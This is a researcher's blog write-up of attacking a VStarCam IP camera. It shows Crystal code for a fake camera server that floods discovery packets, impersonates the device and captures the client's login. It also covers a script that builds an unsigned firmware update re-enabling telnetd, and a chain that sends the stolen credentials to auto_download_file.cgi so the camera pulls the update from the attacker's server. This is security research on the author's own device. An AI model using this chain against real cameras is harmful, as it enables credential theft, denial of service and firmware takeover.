Skip to main content

VStarCam - An Investigative Security Journey - Part 2

In the last part, I covered the basics of the UDP protocol used by the camera, as well as some of the quirks and potential problems. In this part, we will be looking at finishing up the UDP protocol, and using it to exploit the Android client, revealing the password of the device, as well as attempting to upload a custom firmware to the camera.

Theory-crafting A Vulnerability

Now that we are at the point of near 100% protocol coverage, we can start to think about some ways that we could potentially abuse the protocol, and the devices behind them. One thing I noticed after completely tearing down every packet in the connection process, was that all the information needed to impersonate the camera is sent to broadcast. This means that even when connected directly through LAN, the camera could potentially be impersonated by anyone on the same subnet. A couple things also hint at this.
  1. The IP address of the camera can change, and the client must be able to respond to this change.
    • This means that chances are the protocol checks IP address very weakly, and might be vulnerable to someone using a different IP address.
  2. The device itself is not very powerful, so corners were most likely cut in software to save money/processing power. It's likely that certain kinds of checks where overlooked, especially when security was obviously not the goal in mind with the camera.
  3. The device may or may not parse all fields in the packets (DBR, BPS, BPA) so it might be easy for us to replay packets without having to know exactly what a field does.
Flaws in the camera programming, as well as the client protocol, also give out too much information. The camera (for seemingly no reason) sends the DBR, which contains all the info we need to impersonate, to broadcast. The client also initiates connection over broadcast (although later switching to direct communications later). Looking at these things, there is a very real possibility of a vulnerability here. We may need to swap fields out of the DBR, or change our MAC address to conform to the clients checks, but it should be possible.

Writing A Camera Server

The new goal is to write a fake camera server, a piece of software that will pretend to be a camera, to the client, and use it to pry information out. Where do we start?

First thing I did was sit down and flesh out a basic connection process.

# Order of things
# 1. Wait for DBP from client (f130 from 8600) (client to
# 2. Capture DBR from camera (44480108 from 6801) (camera to
# - Get UID, change IP, MAC, and/or other info.
# 3. Spam DBR at client (to beat out camera.)
# 6. Wait for BCP from client
# 7. Send BPS to client
# 8. Wait for BPS from client
# 9. Forge BPA to client.
# 10. Main phase, ping pong, wait for a GET with login params.
# 11. Once we get password, send disconnect, and close server.

Capture DBP From A Client

The client is going to send a DBP out to discover camera on the network, we need to listen for this so we can determine what IP address the client is at.

def listen_for_client_dbp
got_dbp = false"Waiting to receive the DBP from a client")
until got_dbp
potential_dbp = @db_camera_sock.receive
got_dbp = true if potential_dbp[0] == DBP

Capture DBR From A Camera

The camera will send out the DBR, we need to capture that and hold it for replay.

def listen_for_camera_dbr
got_dbr = false"Waiting to receive the DBR from a camera")
until got_dbr
potential_dbr = @db_client_sock.receive"Got a potential DBR from a client")

if potential_dbr[0][0..3] == DBR_HEADER
got_dbr = true
@camera = potential_dbr[1] "GOT DBR TARGET #{@camera}"
if potential_dbr
@dbr = Client.parse_dbr potential_dbr

Spam DBR

Now, we need to both, disrupt connection of the camera, as well as flood our client with DBR. This step took me a while to figure out, and I ran through a whole load of things to try and disrupt the camera. Before I discovered this DoS, I would literally just simulate a disconnect on the camera by unplugging it from the network.

Some things I tried,
  • UDP Flooding
  • Connection spamming
    • Opening up connections with the camera and disconnecting constantly. 
    • EX: DBP -> DBR -> BCP -> BPS -> BPA -> RESTART 
    • Hangs camera a bit, as it waits for and tracks ping-pong through the protocol.
  • Broadcast flooding
    • Flooding the broadcast with DBP/BCP to tie up camera resources.
In the end after quite a lot of testing I used this tactic to get it to disrupt, flooding the client with DBR, which luckily disconnects the client from the camera, and when it reconnects, our DBR will always be first to the connection. 

# We just need to get our DBR in before the camera.
def spam_dbr(dbr)
@spam_dbr = true "Spamming DBR!"
spam_fiber = spawn do
while @spam_dbr
sleep 0.000001
rescue e "SPAM DBR EXCEPTION #{e}"
end "Spamming DBR Finished!"

Handle BP Handshake

Now that the spam fiber is running in the background, we need to wait for BCP, once we get it we will send the BPS, wait for reply, the send four BPA. Our tick will have this inside.

elsif state == :listen_for_client_bcp
change_state :send_bps
elsif state == :send_bps
send_bps @dbr[:uid]
change_state :receive_bps
elsif state == :receive_bps
if receive_bps(5)
@spam_dbr = false
change_state :send_4_bpa
change_state :listen_for_client_bcp
elsif state == :send_4_bpa

if wait_for_client_ping(5)
change_state :main_phase
change_state :spam

Waiting For Ping

We need to verify the client really is targeting us, so we send a pong, if we get a ping back, we have initiated connection. I implemented a basic timeout for the connection that will change the state back to the start if there was an issue.

def wait_for_client_ping(timeout) "Waiting for client ping"
ping_channel = Channel(Bool).new

main_fiber = spawn do
got_ping = false
until got_ping
potential_ping = @data_channel.receive
if potential_ping[0] == PING_PACKET
got_ping = true
elsif potential_ping[0] == UNBLOCK_FIBER_DATA
ping_channel.send got_ping

timeout_fiber = spawn do
sleep timeout

got_ping = ping_channel.receive
if got_ping "PING SUCCESSFUL"

Getting The Password

At this point we have done everything we needed, and the client should be spilling it's guts to us.

[Running] crystal "/home/ian/Documents/crystal/vstarcam-investigational-journey/client/src/"
I, [2019-03-13 20:24:28 -07:00 #25421] INFO -- : Opening ports
I, [2019-03-13 20:24:28 -07:00 #25421] INFO -- : Ports opened
I, [2019-03-13 20:24:28 -07:00 #25421] INFO -- : Waiting to receive the DBP from a client
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : Changing to listen_for_camera_dbr
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : Waiting to receive the DBR from a camera
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : Got a potential DBR from a client
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : GOT DBR TARGET
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : Parsed new target camera {:camera_ip => "", :netmask => "", :gateway => "", :dns1 => "", :dns2 => "", :mac_address => "48:02:2A:0B:DB:B4", :http_port => "47250", :uid => "VSTB668515UZCPK", :name => "IPMAN", :ddns_ip => "", :unknown1 => "\u0001", :ddns_url => "", :sn => "dqqlz", :ddns_password => "252926"}
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : Changing to spam
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : Spamming DBR!
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : Changing to listen_for_client_bcp
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : Changing to send_bps
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : Changing to receive_bps
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : BPS SUCCESSFUL
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : Changing to send_4_bpa
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : Sent Pong
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : Waiting for client ping
I, [2019-03-13 20:24:31 -07:00 #25421] INFO -- : Spamming DBR Finished!
I, [2019-03-13 20:24:33 -07:00 #25421] INFO -- : PING SUCCESSFUL
I, [2019-03-13 20:24:33 -07:00 #25421] INFO -- : Changing to main_phase
I, [2019-03-13 20:24:33 -07:00 #25421] INFO -- : REQUEST RECEIVED FROM CLIENT 108
I, [2019-03-13 20:24:33 -07:00 #25421] INFO -- :
GET /check_user.cgi?name=300178294&loginuse=admin&loginpas=password&user=admin&pwd=password&
I, [2019-03-13 20:24:33 -07:00 #25421] INFO -- : REQUEST RECEIVED FROM CLIENT 108
I, [2019-03-13 20:24:33 -07:00 #25421] INFO -- :
GET /check_user.cgi?name=300178294&loginuse=admin&loginpas=password&user=admin&pwd=password&
I, [2019-03-13 20:24:33 -07:00 #25421] INFO -- : REQUEST RECEIVED FROM CLIENT 108
I, [2019-03-13 20:24:33 -07:00 #25421] INFO -- :
GET /check_user.cgi?name=300178294&loginuse=admin&loginpas=password&user=admin&pwd=password&
I, [2019-03-13 20:24:34 -07:00 #25421] INFO -- : Sent Pong
I, [2019-03-13 20:24:35 -07:00 #25421] INFO -- : Sent Pong
I, [2019-03-13 20:24:36 -07:00 #25421] INFO -- : Sent Pong
I, [2019-03-13 20:24:36 -07:00 #25421] INFO -- : RECEIVED UNBLOCK FIBER COMMAND!
I, [2019-03-13 20:24:36 -07:00 #25421] INFO -- : RECEIVED UNBLOCK FIBER COMMAND!
I, [2019-03-13 20:24:37 -07:00 #25421] INFO -- : Sent Pong
I, [2019-03-13 20:24:37 -07:00 #25421] INFO -- : RECEIVED DISCONNECT FROM CLIENT
I, [2019-03-13 20:24:37 -07:00 #25421] INFO -- : Changing to spam
I, [2019-03-13 20:24:37 -07:00 #25421] INFO -- : Spamming DBR!
I, [2019-03-13 20:24:37 -07:00 #25421] INFO -- : Changing to listen_for_client_bcp
I, [2019-03-13 20:24:37 -07:00 #25421] INFO -- : Changing to send_bps
I, [2019-03-13 20:24:37 -07:00 #25421] INFO -- : Changing to receive_bps
I, [2019-03-13 20:24:42 -07:00 #25421] INFO -- : BPS UNSUCCESSFUL
I, [2019-03-13 20:24:42 -07:00 #25421] INFO -- : Changing to listen_for_client_bcp


Why Does It Work?

The client has very weak checks in place for the camera, it doesn't keep track of the IP address and MAC address of the camera, which makes spoofing unnecessary. It doesn't parse fields in the DBR properly (or at all) or simply ignores them. You can literally echo the packet you got from the camera, with all the same fields at the client and it doesn't even care, it just keeps track of the IP of the camera based on incoming connection, not even validating the info in the DBR. Also a flaw in the processing of DBR by the client causes a DoS against the camera, not allowing it to connect to the client. All this could have been prevented in the first place if they just would have not broadcasted the DBR, there is actually no need.

In short, there are a couple vulnerabilities this relies on
  • Improper connection tracking
  • Improper parsing/validating of DBR fields
  • Broadcasting DBR
  • Client improperly handling DBR flood. 
  • Client improperly handling sensitive data
These could not have been found if it wasn't for tireless testing of the camera and familiarity of the device, and yet it is still just a stepping stone to a much larger potential exploit, auto_download.cgi.


Now that we have the username and password for the camera, there is a specific CGI that was found while making a firmware update. This CGI takes a server, and a file name, and downloads the file to the camera, and attempts a firmware update. If used properly, we could alter an update, increasing it's version number, and changing the main start up script to include telnetd again. We can also use this feature to test against the update validation logic, allowing us to write a minimal exploit to take advantage of this. For example, the update logic might say something like,"I'll allow an update to run, but only if the firmware version is higher than mine, all the zip files inside validate with no errors, etc etc", and if we know exactly what those parameters are, we can write a "minimal update maker" to make the smallest amount of changes.

Getting An Update

After months of playing around with this camera, I finally got a hold of my first firmware update! I went through the whole thing by hand, and used what I found to find other firmware images from previous versions.

Looking At the Updates

Using binwalk, we can take a look at the innards of the update, pulling it apart shows that it is a collection of ZIP files,each a single zip file, combined together into a special update format.

Extracted, the file tree looks like this.

── system
    ├── init
    │   ├──
    │   └──
    └── system
        ├── bin
        │   ├── brushFlash
        │   ├── cmd_thread
        │   ├── encoder
        │   ├── fwversion.bin
        │   ├── gpio_aplink.ko
        │   ├──
        │   ├── load3516d
        │   ├── load3518
        │   ├── load3518ev200
        │   ├── motogpio.ko
        │   ├── sysversion.txt
        │   ├── updata
        │   ├── wifidaemon
        │   └── wpa_supplicant
        └── lib

5 directories, 48 files

When looking at the files individually, we can quickly note the important ones,, which has telnetd commented out inside it, and fwversion.bin which contains a byte version of the 4 byte version number given in the app.

Comparing this update with the others, show that the validating change to the update is the version number, fwversion.bin.

If we can modify the update so it turns back on telnetd, and increments the fwversion.bin, we can overwrite any update, even potentially reverting the firmware to a older version.

We may also have to deal with file checksums, hashing, and signatures in the update, so we need to look more closely at the update using a hex editor, I personally like hexer, it was the only one I used that didn't crash when I opened it, except for xxd.

 00000000:  77 77 77 2e 6f 62 6a 65  63 74 2d 63 61 6d 65 72  www.object-camer
 00000010:  61 2e 63 6f 6d 2e 62 79  2e 68 6f 6e 67 7a 78 2e 
This first part is a sentinel value, and if you skip to the bottom, you can see a reversed version terminating it.

 000fd590:  e2 00 00 00 00 00 2e 78  7a 67 6e 6f 68 2e 79 62  .......xzgnoh.yb
 000fd5a0:  2e 6d 6f 63 2e 61 72 65  6d 61 63 2d 74 63 65 6a  .moc.aremac-tcej
 000fd5b0:  62 6f 2e 77 77 77 -- --  -- -- -- -- -- -- -- --  bo.www----------

If we go to the next "field", we can see that there is a directory followed by a bunch of 0x00, which we can guess is the full field width, 0x40.

 00000020:  73 79 73 74 65 6d 2f 73  79 73 74 65 6d 2f 62 69  system/system/bi
 00000030:  6e 2f 00 00 00 00 00 00  00 00 00 00 00 00 00 00  n/..............
 00000040:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
 00000050:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................

The next field is the filename.

 00000060:  6c 6f 61 64 33 35 31 38  65 76 32 30 30 2e 7a 69  load3518ev200.zi
 00000070:  70 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  p...............
 00000080:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
 00000090:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................

After that comes two integer numbers, the first being the size (4 bytes, little-endian), then the second being the version number (8 bytes, but only using 4 now, little-endian).

000000a0:  e8 08 00 00 68 48 35 30  00 00 00 00 50 4b 03 04  ....hH50....PK..

We can confirm this is the size by using visual mode to measure the total bytes.

 visual selection:  0x000000ac - 0x00000993  0x8e8 (2280) bytes

Then we start the zip file at 0xAC.

It then packs each of these zip files in a binary, padded with headers, and ended with the sentinel value reversed. Here's all the stuff we know.



Looking at the ZIPs themselves isn't particularly interesting, but one thing of note, the ZIPs all preserve directory structure, even though the ZIPs only contain one file each.

 000000a0:  e8 08 00 00 68 48 35 30  00 00 00 00 50 4b 03 04  ....hH50....PK..
 000000b0:  14 00 00 00 08 00 6c 6d  24 4e 8a b1 db 55 14 08  ......lm$N...U..
 000000c0:  00 00 19 21 00 00 1f 00  1c 00 73 79 73 74 65 6d  ...!......system
 000000d0:  2f 73 79 73 74 65 6d 2f  62 69 6e 2f 6c 6f 61 64  /system/bin/load
 000000e0:  33 35 31 38 65 76 32 30  30 55 54 09 00 03 7c f2  3518ev200UT...|.

Since there is no checksum/signing involved, we should be able to make our own update very easily!

Making Our Own Update

I wrote a simple script to put together an update out of files from the system directory. I put the files back exactly how they were and modified the fwversion.bin file to have an increased number.



FILE_ORDER_PATH = "rsrc/file_order"
ZIP_PATH = "rsrc/zip"
NEW_UPDATE_PATH = "rsrc/update"
FWVERSION_PATH = "rsrc/system/system/bin/fwversion.bin"

# Start construction
fwversion =, "r") {|f| f.read_bytes(Int64, IO::ByteFormat::LittleEndian)}

new_update =, "w")
new_update << SENTINEL_VALUE

files =
puts "Loading files for update #{fwversion.to_s(16).rjust(16, '0')}"
files.each do |file_path|
filename = File.basename file_path
zip_filename = filename += ".zip"

# Make zip

`cd #{FIRMWARE_PATH}; zip zip/#{zip_filename} #{file_path}`
zip_file ="#{ZIP_PATH}/#{zip_filename}")
new_update << (File.dirname(file_path) + "/").ljust(HEADER_OFFSET_DIRECTORY.size, "\x00"[0])
new_update << zip_filename.ljust(HEADER_OFFSET_FILENAME.size, "\x00"[0])

new_update.write_bytes(zip_file.bytes.size, IO::ByteFormat::LittleEndian)
new_update.write_bytes(fwversion, IO::ByteFormat::LittleEndian)

new_update << zip_file

puts "#{file_path}"
puts "SIZE: #{zip_file.bytes.size.to_s 16}"

new_update << SENTINEL_VALUE.reverse


Writing an Update Server

Next, we need a simple program to host the file for download. The server MUST run on port 80, the camera won't accept a port argument. The cgi script also only will take a text url, not an IP address, so we need to bind our system to a URL (like badclient.local or something).

require "kemal"

get "/update" do |env|
send_file env, "rsrc/update"
Kemal.config.port = 80

Using the Exploit

Now we are ready to weave everything together and give it a try.

require "./anti-client"

anti =

creds = anti.wait_for_creds


puts "GOT CREDS #{creds}"

sleep 5

client =

until client.state == :main_phase
sleep 0.1

spawn do
`bin/update_server &`
puts "Ran update server"
sleep 10

server: "gaming.local",
file: "/update",
type: "0",
resevered1: "",
resevered2: "",
resevered3: "",
resevered4: "",
loginuse: creds[:user],
loginpas: creds[:pass],
user: creds[:user],
pwd: creds[:pass])
sleep 10

Which when run will start the anti-client, get the credentials, then use them to log into the camera, run the update server, then send a get request for the auto_download_file.cgi.

Just for reference, I know "resevered" is misspelled, it was actually how they wrote it in the client.

Eventually we get a reply back saying everything went OK, and we can also see in Wireshark that the file was downloaded and that the camera rebooted.

I, [2019-03-21 07:59:07 -07:00 #10950] INFO -- : SENT GET /auto_download_file.cgi?server=gaming.local&file=/update&type=0&resevered1=&resevered2=&resevered3=&resevered4=&loginuse=admin&loginpas=password&user=admin&pwd=password
I, [2019-03-21 07:59:07 -07:00 #10950] INFO -- : REPLY RECIEVED FROM CAMERA
I, [2019-03-21 07:59:08 -07:00 #10950] INFO -- : Sent Pong
I, [2019-03-21 07:59:08 -07:00 #10950] INFO -- : RESPONSE RECIEVED FROM CAMERA 46
I, [2019-03-21 07:59:08 -07:00 #10950] INFO -- :
result= 0;
var result="ok";

I, [2019-03-21 07:59:10 -07:00 #10950] INFO -- : Sent Pong
I, [2019-03-21 07:59:11 -07:00 #10950] INFO -- : Sent Pong

Failure and Bricking

Unfortunately, every journey has it's end, and this one came to an end quicker than I had hoped.

Uploading my firmware, while it seemed like it worked, never increased the version number in the application. I did everything in my power to look through the updates, seeing if I missed anything. Sad thing was, the only major difference in the updates, was small header values inside the zip files themselves. Everything I checked didn't work and I was clueless on how to succeed.

I ended up wanting to try something new, and I looked through my firmware files to see if I could upload a version lower than the current one, to downgrade the firmware. Unfortunately, this was where I made a huge mistake.

I ended up uploading a firmware file for a different camera in the same product line, which completely bricked my camera permanently. The camera gets to the "Hello I'm Online" boot phase, then eats mad dog shit, rebooting, and starting all over. I can't find a way to upload the proper firmware.

I asked around on some Discord servers but no one knew what to do, and as one user elegantly put it, "See, 2 am hacking is a big no no".

This also cut this article short, I had a lot more planned with the device and I really wanted to show off some of the tools I wrote to do it.

I'm probably going to order a new one and be a little more careful next time, the product line themselves are still on Amazon, and highly rated at that, for only $35!

Thank you for reading this article! If you enjoyed it please subscribe!


Popular posts from this blog

VStarCam - An Investigative Security Journey - Part 1

Hello everyone and welcome to my first post on my new blog!

Today I wanted to talk about a project I've been working on, and detail some of the things I found and stuff I tried. I think it'll be a good post mortem for myself to study later when I need some of these tactics again.

A couple years ago, after watching a wonderful presentation at BlackHat, I bought a cheap $20 unbranded netcam. The camera came with a serial number on the bottom (C7824WIP). The camera itself isn't the worst, I mean it is a low quality Chinese camera, but the features on the device were pretty interesting. It has 2 axis panning, infrared night vision, speaker, microphone, and both wireless and wired connections, which is pretty good considering it only cost me like $20. However, a couple aspects about the device really made me worry, and as a security guy, I wanted to dig deeper.

I decided I'd try to do a full security audit on the device. I wanted to try it because I didn't really know a…

Besder - An Investigative Journey Part 1

Hello everyone, and welcome to my investigative journey into the Besder IP20H1 network camera! Last time, (Part 1, Part 2), I covered the VStarCam C7824WIP, a fully featured network camera with some BIG custom protocol flaws. Using knowledge gained from investigation, I was able to write an "anti-client" which could pilfer the password to the camera from a client, reflect the credentials at the camera, then install our own firmware which unfortunately bricked the device. I bought a brand new device and I'm ready to try again.

After my first article, Brian Cardiff from Manas, the creators of the Crystal language, reached out to me to say that they enjoyed the article and they wanted to give me a gift card to Amazon to pick out a new camera! And that's exactly what I did. Big thank you to the Crystal team for doing this, they are some wonderful people, and I'm really glad to be a part of their community!

If you would like to participate, you can buy the camera from…